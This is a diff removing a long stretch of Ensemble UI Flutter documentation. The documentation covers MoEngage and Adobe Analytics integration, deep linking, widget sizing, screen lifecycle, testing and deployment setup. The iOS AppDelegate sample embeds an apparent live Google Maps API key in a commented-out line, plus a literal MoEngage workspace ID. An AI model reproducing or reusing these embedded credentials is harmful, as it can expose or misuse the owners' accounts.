Logger.print { "$tag onNotificationClick() : " } - return super.onNotificationClick(activity, payload) - } -} -``` - -**4.** Create `MyApplication.kt`: -```kotlin -package your.package.name - -import com.moengage.core.DataCenter -import com.moengage.core.MoEngage -import com.moengage.core.config.FcmConfig -import com.moengage.core.config.NotificationConfig -import com.moengage.flutter.MoEInitializer -import android.app.Application - -class MyApplication : Application() { - override fun onCreate() { - super.onCreate() - - val moEngage = MoEngage.Builder(this, BuildConfig.MOENGAGE_WORKSPACE_ID, DataCenter.DATA_CENTER_1) - .configureFcm(FcmConfig(true)) - .configureNotificationMetaData( - NotificationConfig( - R.drawable.icon, - R.drawable.launcher, - notificationColor = -1, - isMultipleNotificationInDrawerEnabled = false, - isBuildingBackStackEnabled = true, - isLargeIconDisplayEnabled = true - ) - ) - - MoEInitializer.initialiseDefaultInstance(this, moEngage) - } -} -``` - -**5.** Update `MainActivity.kt`: -```kotlin -package your.package.name - -import android.content.Intent -import android.content.res.Configuration -import android.os.Bundle -import com.moengage.flutter.MoEFlutterHelper -import io.flutter.embedding.android.FlutterActivity - -class MainActivity : FlutterActivity() { - override fun onCreate(savedInstanceState: Bundle?) { - super.onCreate(savedInstanceState) - processIntent(intent) - } - - override fun onConfigurationChanged(newConfig: Configuration) { - super.onConfigurationChanged(newConfig) - MoEFlutterHelper.getInstance().onConfigurationChanged() - } - - override fun onNewIntent(intent: Intent) { - super.onNewIntent(intent) - processIntent(intent) - } - - private fun processIntent(intent: Intent?) { - if (intent == null) return - } -} -``` - -**6.** Add Platform Configuration Files: - - Place `google-services.json` in `android/app/` - - Add to `android/build.gradle`: -```gradle -buildscript { - dependencies { - classpath 'com.google.gms:google-services:4.3.15' - } -} -``` - -#### iOS Configuration - - -**1.** Update `AppDelegate.swift`: -```swift -import UIKit -import Flutter -// import GoogleMaps -import flutter_local_notifications - -// Add below Moenage Dependencies -import moengage_flutter_ios -import MoEngageSDK -import MoEngageInApps -import MoEngageMessaging - - -@main -@objc class AppDelegate: FlutterAppDelegate { - static let methodChannelName: String = "com.ensembleui.host.platform" - var methodChannel: FlutterMethodChannel? - - override func application( - _ application: UIApplication, - didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]? - ) -> Bool { - let controller : FlutterViewController = window?.rootViewController as! FlutterViewController - methodChannel = FlutterMethodChannel(name: AppDelegate.methodChannelName, binaryMessenger: controller.binaryMessenger) -// GMSServices.provideAPIKey("AIzaSyD8vwvoaEPEgYemp1EkIETetJMvyS4Ptqk") - FlutterLocalNotificationsPlugin.setPluginRegistrantCallback { (registry) in - GeneratedPluginRegistrant.register(with: registry) } - - if #available(iOS 10.0, *) { - UNUserNotificationCenter.current().delegate = self as UNUserNotificationCenterDelegate - } - - // Add below 6 lines for moengage implementatino - let yourWorkspaceID = "1SZEGT6AYEZE0XANA7IKYPL8" - let sdkConfig = MoEngageSDKConfig(withAppID: yourWorkspaceID) - sdkConfig.appGroupID = "group.com.alphadevs.MoEngage.NotificationServices" - sdkConfig.consoleLogConfig = MoEngageConsoleLogConfig(isLoggingEnabled: true, loglevel: .verbose) - - MoEngageSDKCore.sharedInstance.enableAllLogs() - MoEngageInitializer.sharedInstance.initializeDefaultInstance(sdkConfig, launchOptions: launchOptions) - - - GeneratedPluginRegistrant.register(with: self) - return super.application(application, didFinishLaunchingWithOptions: launchOptions) - } - - override func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool { - // Calling flutter method "urlOpened" from iOS - methodChannel?.invokeMethod("urlOpened", arguments: url.absoluteString) - return true - } - - // Add below 4 functions for moenage - override func application(_ application: UIApplication, didRegisterForRemoteNotificationsWithDeviceToken deviceToken: Data) { - MoEngageSDKMessaging.sharedInstance.setPushToken(deviceToken) - } - - override func userNotificationCenter(_ center: UNUserNotificationCenter, willPresent notification: UNNotification, withCompletionHandler completionHandler: @escaping (UNNotificationPresentationOptions) -> Void) { - completionHandler([.alert, .sound]) - } - - override func userNotificationCenter(_ center: UNUserNotificationCenter, didReceive response: UNNotificationResponse, withCompletionHandler completionHandler: @escaping () -> Void) { - MoEngageSDKMessaging.sharedInstance.userNotificationCenter(center, didReceive: response) - completionHandler() - } - - - override func application(_ application: UIApplication, willContinueUserActivityWithType userActivityType: String) -> Bool { - print("Opening Universal link", userActivityType) - return false - } -} -``` - ---- - - -# Adobe Analytics - -Adobe Analytics is a powerful analytics solution that provides real-time analytics and detailed segmentation capabilities. Ensemble provides native integration with Adobe Analytics offering: -- Real-time analytics tracking -- User identity management -- Consent management -- User profile management -- Adobe Assurance integration -- Edge network support - -## Prerequisites - -1. You have created an Adobe Experience Platform project -2. You have created an app on Ensemble Studio -3. You have [Flutter](https://docs.flutter.dev/get-started/install) installed on your machine -4. You have a Simulator for testing - -## Adobe Experience Platform Setup - -The following setup on Adobe Experience Platform is required regardless of whether you're enabling Adobe Analytics through Ensemble Studio or local development. - -1. Get Adobe Experience Platform Configuration: - - Navigate to Adobe Experience Platform → Data Collection → Mobile Properties - - Create a new mobile property or select an existing one - - Copy your configuration details including: - - App ID - -2. Configure Edge Network: - - Set up your Edge Network configuration - - Configure your datastreams - - Set up your schema and datasets - -## Enable Adobe Analytics - -### In Ensemble Studio - -If you're using Ensemble Studio for building your application, follow these steps to enable Adobe Analytics. - -1. Navigate to Build & Deploy → Build Settings -2. Enable Adobe Analytics toggle in the Modules section -3. Enter Configuration Details: - - Adobe Experience Platform App ID - -### In Local Project - -If you're developing locally without using Ensemble Studio build system, follow these configuration steps. - -1. Update `ensemble_modules.dart`: - - Uncomment the Adobe Analytics import: - ```dart - import 'package:ensemble_adobe_analytics/adobe_analytics.dart'; - ``` - - Set `useAdobeAnalytics` to `true`: - ```dart - useAdobeAnalytics: true, - ``` - - Initialize Adobe Analytics with your App ID: - ```dart - GetIt.I.registerSingleton( - AdobeAnalyticsImpl(appId: "YOUR_APP_ID") - ); - ``` - -## Example Actions - -### Core Operations - -#### Track Action (User Interactions) - -Track event actions that occur in your application. - -```yaml -logEvent: - name: trackButtonClick - provider: adobe - operation: trackAction - parameters: - eventName: 'button_click' - eventType: 'button_click' - eventSource: 'mobile_app' - eventCategory: 'button_click' - eventAction: 'button_click' - eventLabel: 'button_click' -``` - -#### Track State (Page Views) - -Track states that represent screens or views in your application. - -```yaml -logEvent: - name: trackScreenView - provider: adobe - operation: trackState - parameters: - eventName: 'screen_view' - eventType: 'screen_view' - eventSource: 'mobile_app' -``` - -#### Edge Operations - -Send an Experience event to Adobe Experience Platform Edge Network. - -```yaml -logEvent: - name: trackXdmEvent - provider: adobe - operation: sendEvent - parameters: - xdmData: - eventType: 'commerce.productViews' - commerce: - productViews: - value: 1 - data: - customField: 'customValue' - userSegment: - - 'segment1' - - 'segment2' - datastreamIdOverride: -``` - -### Identity Management - -#### Get Experience Cloud ID - -Retrieve the Experience Cloud ID (ECID) that was generated when the app was initially launched. - -```yaml -logEvent: - name: getExperienceCloudId - provider: adobe - operation: getExperienceCloudId -``` - -#### Get URL Variables -Returns the identifiers in a URL's query parameters for consumption in hybrid mobile applications. The response will not return any leading & or ?, since the caller is responsible for placing the variables in the resulting URL in the correct locations. If an error occurs while retrieving the URL variables, the callback handler will return a null value. Otherwise, the encoded string is returned. An example of an encoded string is as follows: 'adobe_mc=TS%3DTIMESTAMP_VALUE%7CMCMID%3DYOUR_ECID%7CMCORGID%3D9YOUR_EXPERIENCE_CLOUD_ID' -- `MCID`: This is also known as the Experience Cloud ID (ECID). -- `MCORGID`: This is also known as the Experience Cloud Organization ID. -- `TS`: The timestamp that is taken when the request was made. - -```yaml -logEvent: - name: getUrlVariables - provider: adobe - operation: getUrlVariables -``` - -#### Get All Identities - -Get all identities in the Identity for Edge Network extension. - -```yaml -logEvent: - name: getIdentities - provider: adobe - operation: getIdentities -``` - -#### Update Identities - -Update the currently known identities within the SDK. - -```yaml -logEvent: - name: updateIdentities - provider: adobe - operation: updateIdentities - parameters: - identities: - CustomNamespace: - - id: 'test-custom-id' - authenticatedState: 'authenticated' - primary: true - CustomNamespace2: - - id: 'test-custom-id-2' - authenticatedState: 'authenticated' - primary: false -``` - -#### Remove Identity -Remove the identity from the stored client-side IdentityMap. The Identity extension will stop sending the identifier to the Edge Network. Using this API does not remove the identifier from the server-side User Profile Graph or Identity Graph. -Identities with an empty id or namespace are not allowed and are ignored. - -Removing identities using a reserved namespace is not allowed using this API. The reserved namespaces are: -- ECID -- IDFA -- GAID - -```yaml -logEvent: - name: removeIdentity - provider: adobe - operation: removeIdentity - parameters: - item: - id: 'test-custom-id' - authenticatedState: 'ambiguous' # Options: 'authenticated', 'ambiguous', 'loggedOut' - primary: false - namespace: 'CustomNamespace' -``` - -#### Reset All Identities -Clears all identities stored in the Identity extension and generates a new Experience Cloud ID (ECID) . Using this API does not remove the identifiers from the server-side User Profile Graph or Identity Graph. - -This is a destructive action, since once an ECID is removed it cannot be reused. The new ECID generated by this API can increase metrics like unique visitors when a new user profile is created. - -Some example use cases for this API are: - -- During debugging, to see how new ECIDs (and other identifiers paired with it) behave with existing rules and metrics. -- A last-resort reset for when an ECID should no longer be used. - -This API is not recommended for: - -- Resetting a user's consent and privacy settings. -- Removing existing custom identifiers; use the `removeIdentity` API instead. -- Removing a previously synced advertising identifier after the advertising tracking settings were changed by the user; use the `setAdvertisingIdentifier` API instead. - -ℹ️ The Identity for Edge Network extension does not read the Mobile SDK's privacy status and therefor setting the SDK's privacy status to opt-out will not clear the identities from the Identity for Edge Network extension. - -```yaml -logEvent: - name: resetIdentities - provider: adobe - operation: resetIdentities -``` - -#### Set Advertising Identifier - -When this API is called with a valid advertising identifier, the Identity for Edge Network extension includes the advertising identifier in the XDM Identity Map using the namespace GAID (Google Advertising ID) in Android and IDFA (Identifier for Advertisers) in iOS. If the API is called with the empty string (''), null/nil, or the all-zeros UUID string values, the advertising identifier is removed from the XDM Identity Map (if previously set). The advertising identifier is preserved between app upgrades, is saved and restored during the standard application backup process, and is removed at uninstall. - -```yaml -logEvent: - name: setAdvertisingIdentifier - provider: adobe - operation: setAdvertisingIdentifier - parameters: - advertisingIdentifier: -``` - -### Consent Management - -#### Get Current Consents - -Retrieve the current consent preferences stored in the Consent extension. - -```yaml -logEvent: - name: getConsents - provider: adobe - operation: getConsents -``` - -#### Update Consent - -Merge the existing consents with the given consents. - -```yaml -logEvent: - name: updateConsent - provider: adobe - operation: updateConsent - parameters: - allowed: true # or false -``` - -#### Set Default Consent - -Sets the default consent preferences for the Consent extension. - -```yaml -logEvent: - name: setDefaultConsent - provider: adobe - operation: setDefaultConsent - parameters: - allowed: true # or false -``` - -### User Profile Management - -#### Get User Attributes - -Get user profile attributes which match the provided keys. - -```yaml -logEvent: - name: getUserAttributes - provider: adobe - operation: getUserAttributes - parameters: - attributes: - - 'firstName' - - 'lastName' - - 'email' -``` - -#### Update User Attributes - -Set multiple user profile attributes. - -```yaml -logEvent: - name: updateUserAttributes - provider: adobe - operation: updateUserAttributes - parameters: - attributeMap: - firstName: 'John' - lastName: 'Doe' - email: 'john.doe@example.com' -``` - -#### Remove User Attributes - -Remove provided user profile attributes if they exist. - -```yaml -logEvent: - name: removeUserAttributes - provider: adobe - operation: removeUserAttributes - parameters: - attributes: - - 'firstName' - - 'lastName' -``` - -### Adobe Assurance - -Configure Adobe Assurance for debugging and validation. - -```yaml -logEvent: - name: setupAssurance - provider: adobe - operation: setupAssurance - parameters: - url: -``` - ---- - -# Setup Deeplink - -In this guide, we'll integrate the deep linking for the Android and iOS Apps - -## Android Setup -1. Create a file named ```assetlinks.json``` and add namespace, package and sha256 -2. Upload the ```assetlinks.json``` file to the website (https://example.com/.wellknown/assetlinks.json) -3. Add ```intent-filter with domain, path, scheme,``` etc in the ```activity``` tag of ```AndroidManifest.xml``` -4. meta-data ```flutter_deeplinking_enabled``` to the ```activity``` tag -5. To test deep links, Execute the following command in the terminal - -``` -adb shell am start -a android.intent.action.VIEW \ --c android.intent.category.BROWSABLE \ --d [https://example.com](https://example.com/) -``` - -6. Test it in physical device, Send the url to any of the notes app and click the link. - -For more info: [Android App Links](https://developer.android.com/training/app-links) - -## iOS Setup -1. Add ```Associated Domain``` capability. Prefix the domain with ```applinks:``` -2. Create a new file named ```apple-app-site-association``` with no file extension. Add details like appIds (teamId.BundleID), components (url path), etc -3. It must be uploaded in the (https://ensembleui.com/.wellknown/apple-app-site-association), needs to be served with content type (application/json) but without the file extension -4. Add ```FlutterDeepLinkingEnabled``` to the ```Info.plist``` file -5. To test deep links, Use ```xcrun simctl openurl booted [https://example.com/path]```(https://example.com/path) -6. Test it in physical device, Send the url to any of the notes app and click the link - -For more info: [iOS Universal Link](https://developer.apple.com/ios/universal-links/) - - -## For Deferred Deep Linking -Checkout - https://docs.ensembleui.com/#/build/deep-link/deferred-deeplink - ---- - -# Setup Deferred Deeplink -In this guide, we'll integrate the deferred deep linking for the Android and iOS Apps. There are some service providers like branch, appsflyer, etc for deferred deep linking. - -*NOTE: Currently, we support only the BranchIO as of now.* - -## BranchIO (http://branch.io) -For Detailed Doc - https://help.branch.io/developers-hub/docs - -#### Configure Branch Dashboard -1. Go to Configuration -> General -2. Setup Default URL -3. Android Redirects - - Android URI Scheme - - Google Play Search or Custom URL - - SHA 256 Certificate Fingerprints - - Additional Settings -4. iOS Redirects - - iOS URI Scheme - - Apple Store Search or Custom URL - - Enable Universal Links (BundleID, Apple App Prefix) - - Additional Settings - -#### Configure Native Platforms -1. Android - - Add Branch to your AndroidManifest.xml - - Add Branch App Links (Test and Live) - - Add Branch Keys (Test and Live) - -2. iOS - - Configure Bundle ID - - Add associated domains from branch dashboard's Link Domain section of the configuration page to the iOS project "Signing & Capabilities" associated domain - - Configure Info.plist for adding branch keys (Test and Live) and Links (Test and Live) - - Add Custom URL Scheme in the URL types of Info.plist - -### Module (ensemble_deeplink) -Enable Deeplink service in Ensemble code - -By default, Ensemble does not include the deeplink module to avoid installing unnecessary packages. Here, we uncomment a few lines of code to get the necessary packages. - -Inside the directory where you cloned Ensemble Starter, open `/lib/generated/ensemble_modules.dart`. - -* Search for this line and uncomment it: -``` -// import 'package:ensemble_deeplink/deferred_link_manager.dart'; -``` - -* Search for this line and uncomment it: -``` - // GetIt.I.registerSingleton(DeferredLinkManagerImpl()); -``` - -* Search for this line and set it to true -``` - static const useDeeplink = false; -``` - ---- - -#### Initialize Branch SDK -1. In the ensemble project, Initialize your branch SDK using the ```deeplinkInit``` action - -```yaml -deeplinkInit: - provider: branch - options: - useTestKey: true - enableLog: true - disableTrack: false - onSuccess: | - //@code - console.log("BranchSDK:: initialized successfully"); - onLinkReceived: | - //@code - console.log("BranchSDK:: Branch Link Received: " + event.data.link); - onError: | - //@code - console.log("BranchSDK:: Failed to initialize" + event.error); -``` - -2. Create branch deep link using the ```createDeeplink``` action - -```yaml -Button: - label: Create Branch Link - onTap: - createDeeplink: - provider: branch - universalProps: - id: item/12345 - title: My Content Title - contentDescription: My Content Description - imageUrl: https://ensembleui.com/mycontent-123.png - contentSchema: product - linkProps: - channel: ensembleui - feature: Sharing - campaign: content launch - stage: New User - tags: [data, fsdf, sdd] - controlParams: - ref: 1234 - name: Ensemble - onSuccess: | - //@code - console.log("BranchSDK:: Link created successfully: " + event.data.result); - onError: | - //@code - console.log("BranchSDK:: Failed to create a link" + event.error); -``` - ---- - - -# Embed Flutter screen in an Ensemble app - -Ensemble allows you to navigate to a screen built with Flutter. This allows you to reuse any existing Flutter screen. - - - -## How it works. - -This is our beloved counter widget. Let's see how you can specify this widget and call it in your Ensemble App. - -```dart -class CounterWidget extends StatefulWidget { - const CounterWidget({ - super.key, - this.message, - }); - - final String? message; - - @override - State createState() => _CounterWidgetState(); -} - -class _CounterWidgetState extends State { - int counter = 0; - - void _incrementCounter() { - setState(() { - counter++; - }); - } - - @override - void initState() { - super.initState(); - } - - @override - Widget build(BuildContext context) { - return Scaffold( - appBar: AppBar( - backgroundColor: Theme.of(context).colorScheme.inversePrimary, - title: const Text('Flutter Page'), - ), - floatingActionButton: FloatingActionButton( - onPressed: _incrementCounter, - tooltip: 'Increment', - child: const Icon(Icons.add), - ), - body: Center( - child: Column( - mainAxisAlignment: MainAxisAlignment.center, - children: [ - Text( - widget.message ?? 'You have pushed the button this many times:', - ), - Text( - '$counter', - style: Theme.of(context).textTheme.headlineMedium, - ), - ], - ), - ), - ); - } -} - -``` - - -First we need to specify a map of name and builder widget. The builder has context and args as parameters. -The args are basically passed using `navigateScreen`'s inputs. - - -```dart -void main() async { - WidgetsFlutterBinding.ensureInitialized(); - Ensemble().setExternalScreenWidgets({ - 'counterScreen': (context, args) { - final message = args?['message']; - return CounterWidget(message: message); - }, - }); - runApp(const EnsembleApp()); -} -``` - -Now, the ensemble framework know about external screen named `counterScreen`. We can now navigate to external screen like following. - -```yaml -Button: - label: Navigate external screen - onTap: - navigateScreen: - name: counterScreen - external: true - inputs: - message: Hello world - -``` - ---- - -# Using local assets - -While developing and previewing your app, you may reference images via URLs. While this is great for rapid prototyping, production Native apps may want to minimize rendering time by referencing assets locally. This is where Environment Variables come in. - -Environment variables can be used for many purposes. You define them in your App's setting on [Ensemble Studio](https://studio.ensembleui.com/) and referencing them any where in your pages with `${env.my_env_variable_name}`. Ensemble also allow you to override these variables in production. This technique allows Ensemble to serve assets locally. - -### Define the environment variables - -Navigate to your App's setting and add an environment variable. -Add Environment Variable - -### Using the environment variables - -Any screens can reference the variable with `${env.variable_name}`. Here we prefix the image with the `imageBaseUrl`. -Add Environment Variable - -### Override environment variables to load images locally - -When building Production app (see [Preparing your App](#preparing-your-app-for-deployment), you can load this image locally instead of via URL. - -- Add the assets under folder `/ensemble/assets/`. -- Open `/ensemble/ensemble-config.yaml` and add a matching environment variable that you defined on Ensemble Studio. Leave the value empty (if all your assets are directly under /ensemble/assets). -- Note: define the variable name but with empty value will attempt to load assets from `/ensemble/assets/`. - ---- - -# Understanding Widget Sizing -Widget sizing is a crucial aspect of building responsive UIs in Ensemble. In this guide, we'll explore the challenges of widget sizing, common solutions, and best practices to help you create layouts that look great on any screen. - -## Core Concepts -#### Parent Constraints -In Ensemble, widget sizing is governed by a system of constraints passed down from parent widgets to their children. These constraints define the minimum and maximum sizes a widget can take on the screen. - -Starting from the root (the screen dimension), constraints are passed down the layout tree to determine the size of each widget. Most widgets, if themselves receive constraints from their parent, will recalculate the constraints (e.g. subtract padding from the available space) and pass them down to their children. A widget may come up with its own size, but it will always be bounded by the constraints provided by its parent. - -**Note**: *Any widget that does not receive constraints from its parent will not be able to pass the constraints down to its children.* - -**Parent widgets that do not provide constraints to their children:** -- *Row does not provided the **width constraint** to its children. Any children of Row must be able to determine their own width, or an error may occur.* -- *Similarly Column does not provide the **height constraint** to its children* -- *Stack does not provide **width nor height constraint** to its children.* -- *Scrollable widgets (e.g ListView, Screen with scrollableView = true) do not provide constraints to their children in the **scrollable direction**.* - -#### Widget with Intrinsic Sizes -Some widgets can automatically determine their own dimensions based on their content or specific properties. These widgets are straightforward to use because they require minimal configuration to look right. - -**Examples:** Text, Image, Icon, .. -```yaml -# Text sizes itself based on the text and the applied styles -Text: - text: Hello Ensemble ! - styles: - fontSize: 16 -``` -**Note**: *just because a widget can determine its own size doesn't mean it will get the size it needs. The final sizing will be bounded by the constraints (minimum/maximum width and minimum/maximum height) provided by the parent widget.* - -#### Widgets without Intrinsic Sizes -Conversely, some widgets cannot determine their sizes (or it may not make sense to). These widgets rely on their parent to provide the sizing constraints. Without the constraint an error will occur, and the system will attempt to give you warnings. If the warning system misses this, the screen may be rendered as a blank screen. - -**Examples:** Divider, Map, TextInput (width), .. -```yaml -# Column does not provide height constraint to its children, -# so Map will not have a height and cannot be rendered -Column: - children: - - Map: -``` - -## Sizing Challenges and Solutions -**Challenge 1**: Managing Unbounded Sizes
-When a widget does not have an intrinsic size nor receives explicit constraints from its parent, it faces an "unbounded size" problem. - -Example: When a TextInput is inside a Row.
-TextInput does not have a width and rely on the parent to provide a width constraint, which the Row does not provide.
-Solution: Set the width on the TextInput, or use FlexRow as the parent. FlexRow will stretch itself to fill its parent's width constraint, and in turn provide a constraint to the TextInput. - -Example: When a FlexColumn is inside a 'Screen with scrollableView=true'.
-A FlexColumn doesn't calculate its height from the children so it does not have a height. Instead it will attempt to stretch to fill the available height constraint provided by the parent. This will produce an error since the scrollable Screen cannot provide a height constraint.
-Solution: Ensure every widget in a scrollable direction has a size. In this case simply use a Column instead of a FlexColumn. A Column will calculate its height from the children, forgo the need for a height constraint. - ---- - -# Item Template - -When developing UI, it is common to display lists of items, and Ensemble simplifies this process by providing the `item-template` property. When used within certain containers (e.g. Column, Carousel, Grid, ..), you can iterate through a data set and render a set of child widgets. - -`item-template` takes the following properties: - -| Property | Type | Description | -| -------- |--------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------| -| data | array | Bind to an array of data from an API response or a variable | -| name | string | Variable name referencing each item in the array. Name it as per your use case (e.g. 'person', 'item' ..) | -| template | [Widget](#widget-directory) | Define the child widget to render for each item in the array. Within this widget you can bind to the item using the `name` syntax (e.g. `${person.firstName}`) | -| indexId | string | (optional) Default: index. The property that will be assigned the current index of the data array while looping through it | - -Different containers may expose additional properties to further customize the rendering of the children, but they will always have the `data` and `name`. - -### Basic Usage -To demonstrate the basic usage of `item-template`, Below we hardcode a list of names and render each as a Text widget. These text widgets will be displayed vertically one after another because they are inside a Column parent, with a gap of 10 in between. -```yaml -Column: - styles: - gap: 10 # gap between each child - item-template: - data: ["John", "Mary", "Peter"] - name: name - template: - Text: - text: Hello ${name} -``` -The output will look something like this: -Screenshot - -### Binding to API data -In a real-world scenario, you would bind to data from an API response. Below is the shorten JSON payload from hitting "https://randomuser.me/api/?results=5". We'll be using this to render our UI. -```json -{ - "results": [ - { - "name": { - "title": "Mrs", - "first": "Lya", - "last": "Brun" - }, - "picture": { - "large": "https://randomuser.me/api/portraits/women/9.jpg", - "medium": "https://randomuser.me/api/portraits/med/women/9.jpg", - "thumbnail": "https://randomuser.me/api/portraits/thumb/women/9.jpg" - }, - }, - ... (more entries) ... - ], -} -``` -Let's update our definition to fetch the API on page load, then show each person's photo and name in a Carousel. - -```yaml -View: - styles: - useSafeArea: true - # call the API upon loading the screen - onLoad: - invokeAPI: - name: getRandomUsers - body: - Carousel: - styles: - layout: multiple - height: 150 - multipleItemWidthRatio: .3 - indicatorType: circle - item-template: - # bind to API's response body, then access the 'results' array within it - data: ${getRandomUsers.body.results} - # name each item in the array as 'person' - name: person - template: - Column: - styles: - crossAxis: center - gap: 10 - children: - - Image: - styles: - width: 60 - height: 60 - borderRadius: 1000 - borderColor: grey - # the JSON response - source: ${person.picture.medium} - - Text: - styles: - textAlign: center - text: ${person.name.first} ${person.name.last} - -API: - getRandomUsers: - url: https://randomuser.me/api/?results=5 -``` -The output will look something like this: -Screenshot - -Here's an [example](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/yWM8nLePITT8IpCZLMNe) of how to use `indexId` property to access the current index of the data array. - ---- - -# Data Binding -Data binding allows you to bind data from various sources to your UI components. Any changes to applicable data sources will automatically update the UI components. Data Binding is also used when passing variables to API, Widgets, and Actions (among others). - -The syntax for binding is `${bindingSource}`, and can be used anywhere a text or an expression is accepted. - -### Binding to an editable widget -Ensemble makes it easy to listen for changes to any widget's properties. In the example below, we defined a TextInput and give it an id "myInput". We then created a readonly Text and bind its text property to the TextInput, prefixed with "You entered". As you are making changes to the TextInput and the focus leaves, TextInput will dispatch its changes to all listeners, causing the readonly Text to re-render its content. -Screenshot - -(to be updated ...) - ---- - -# Screen Lifecycle -An Ensemble app consists of a series of screens, each with its own lifecycle that defines how it renders, pauses, resumes, and disposes of resources. You can provide actions to be triggered at each of these lifecycle stages. - -### onLoad -This stage is triggered when the screen is first loaded and the body widget has been rendered. At this point, you will have access to all widget IDs (if specified). This is an ideal place to initialize your screen's states and invoke APIs. - -### onPause -This stage is triggered when the screen is no longer active. This could be due to the user navigating to another screen or, in native applications, the app moving to the background. In the latter case, the OS may terminate the app if the Action takes too long to process or uses excessive resources, so it is recommended to execute actions that will complete promptly. - -`onPause` includes the following payload (accessible via `event.data.*`): -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| isAppPause | boolean | This will be true if the app (Native only) is causing onPause to be called because it is going to the background (or the user is switching to another App). Use this to differentiate from the user navigating to another screen. | - - -### onResume -This stage is triggered when the screen becomes active again after having previously been inactive. This could be due to the user navigating back to the screen or the app (native only) coming to the foreground. - -Note that this will not be triggered if you navigate to another instance of the same screen. In other words, only navigating back (or switching screens using the bottom navigation bar) will trigger this. - -`onResume` has the following payload (accessible via `event.data.*`): -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| inactiveDuration | number (ms) | Specifying how long the screen has been in inactive state (in milliseconds). This is useful for tracking how long the screen has been inactive and re-fetching the data. Note that we may not always able to determine this, so it may be null. | -| isAppResume | boolean | This will be true if the app is causing onResume to be called because it is going to the foreground (the user is opening your app). Use this to differentiate with the user navigating back to your screen. | - ---- - -# Custom Widgets -In addition to Ensemble-provided widgets and containers, you can create custom widgets to extend the functionality of your app. Custom widgets can be used to encapsulate complex logic, create reusable components, or integrate with third-party libraries. - -Custom Widgets can be created and used within a Screen or globally across multiple screens. - -(to be continued ...) - -### Screen-level Custom Widgets - - -### App-level Custom Widgets - ---- - -# Preview your app - -Your apps are available for preview on web, and iOS and Android devices. Share it with your QA, Product Managers, customers, ... for early feedbacks. - -## Preview on iOS and Android - -First, download Ensemble Preview app by scanning this QR Code: - -
- -![QR code for Ensemble Preview](public/images/app-qr.png) - -
- - -or select your platform here: - - -Download on the App Store - -Get it on Google Play - -Now follow these steps to preview your app: - -1. Log in to Ensemble Studio. -2. Click on the app you want to preview. -3. Click Settings on the left sidebar. Here you find the app ID and a QR code. -4. Open Ensemble Preview app and select the option to scan the QR code on the settings page. - - -## Preview on web - -1. Log in to Ensemble Studio. -2. Locate the app you want to share, and click the `...` menu. -3. Select Get Preview Link. -4. The preview link is now copied to your clipboard. Paste it in the browser or share with others to run your app on web. - ---- - -# Automated Testing - -Ensemble apps support automated testing using Flutter's integration testing framework. You can easily find and interact with widgets in your tests using the `testId` property. - -## Adding testIds to your widgets - -Add `testId` properties to widgets in your YAML to make them findable in tests: - -```yaml -Button: - testId: navigate_button - label: Navigate to Goodbye Screen - onTap: - navigateScreen: - name: Goodbye -``` - -## Writing integration tests - -The [starter project](https://github.com/EnsembleUI/ensemble/tree/main/starter) includes an example integration test at [`integration_test/app_test.dart`](https://github.com/EnsembleUI/ensemble/blob/main/starter/integration_test/app_test.dart) that demonstrates: - -- Finding widgets by testId using `find.byKey(ValueKey('testId'))` -- Interacting with widgets (tap, enter text, etc.) -- Navigating between screens -- Verifying widget states - -Here's a simplified example: - -```dart -import 'package:flutter_test/flutter_test.dart'; -import 'package:integration_test/integration_test.dart'; -import 'package:ensemble_starter/main.dart' as app; - -void main() { - IntegrationTestWidgetsFlutterBinding.ensureInitialized(); - - group('Ensemble App Testing', () { - testWidgets('Test navigation flow', (WidgetTester tester) async { - app.main(); - await tester.pumpAndSettle(); - - // Find widgets by testId - final buttonFinder = find.byKey(ValueKey('navigate_button')); - expect(buttonFinder, findsOneWidget); - - // Interact with widgets - await tester.tap(buttonFinder); - await tester.pumpAndSettle(); - - // Verify navigation worked - final secondScreenTextFinder = find.byKey(ValueKey('goodbye_title')); - expect(secondScreenTextFinder, findsOneWidget); - }); - }); -} -``` - -## Running tests - -Run your integration tests with: - -```bash -flutter test integration_test/app_test.dart -``` - -For more information on Flutter integration tests, see the [Flutter Testing documentation](https://docs.flutter.dev/testing/integration-tests). - ---- - -# Preparing your App for deployment - -Once you have built your UI with Ensemble and used it to build your app and are ready to take it to production, follow these instructions to deploy it to any iOS or Android devices, or to submit it to the Apple AppStore or Google Play Store. - -### Prerequisites -* Your Ensemble App ID. From [Ensemble Studio](https://studio.ensembleui.com), go to your App's Settings screen to retrieve the App ID. - -### Download Ensemble Starter -Ensemble Starter is our packaging solution, enabling you to connect to your Ensemble UI and package it. -* Clone the Starter App `git clone https://github.com/EnsembleUI/starter my_first_app` into the folder *my_first_app*. You may change the name, but don't use camelCase (e.g. myFirstApp) or dash (-) as the separators. -* Follow the README in this repo. - -### Requesting permissions from your end-users -If your app requires capabilities like location, camera, ..., you will need to enter a reason per capability. These reasons will be prompted to the end users, who can decide whether to grant or deny your requests. -* For iOS, edit `/ios/Runner/Info.plist` and add the below permissions as the direct children of the `` tag. -* For Android, edit `/android/app/src/main/AndroidManifest.xml` and add the below permissions as the direct children of the `` tag. - -Below are the snippet per capability to insert for iOS and Android respectively. - -**Location** -```xml -NSLocationWhenInUseUsageDescription -e.g. This app needs access to your location to .... -``` - -**Camera** -```xml -NSCameraUsageDescription -e.g. your reason for requesting camera access - -NSMicrophoneUsageDescription -e.g. your reason for requesting microphone access -``` - - ---- - -## Configure Social Sign In for Deployment -Before deployment, you need to configure your own OAuth credentials plus specific setups for each platforms. - -### Setting up Sign In credentials -On Google's API Console, create your OAuth client ID for each platform (i.e. iOS, Android, Web). - -For `iOS`, enter the bundle ID of your App. - -Google iOS client ID - -For `Android`, use Web Application type (don't use Android type). You can leave Authorized Origins and Redirect URIs blank. - -Google Android client ID - -For `Web`, use Web Application type. -- Authorized Origins should be your domain (e.g. https://mycompany.com). You can also use localhost while in development (e.g. http://localhost:3000). -- Redirect URIs can be empty. - -webclient ID - -Using a code or text editor, open `/ensemble/ensemble-config.yaml` and enter these credentials. - -```yaml -... -services: -  signIn: -    providers: -      google: -        iOSClientId: -        androidClientId: -        webClientId: -``` 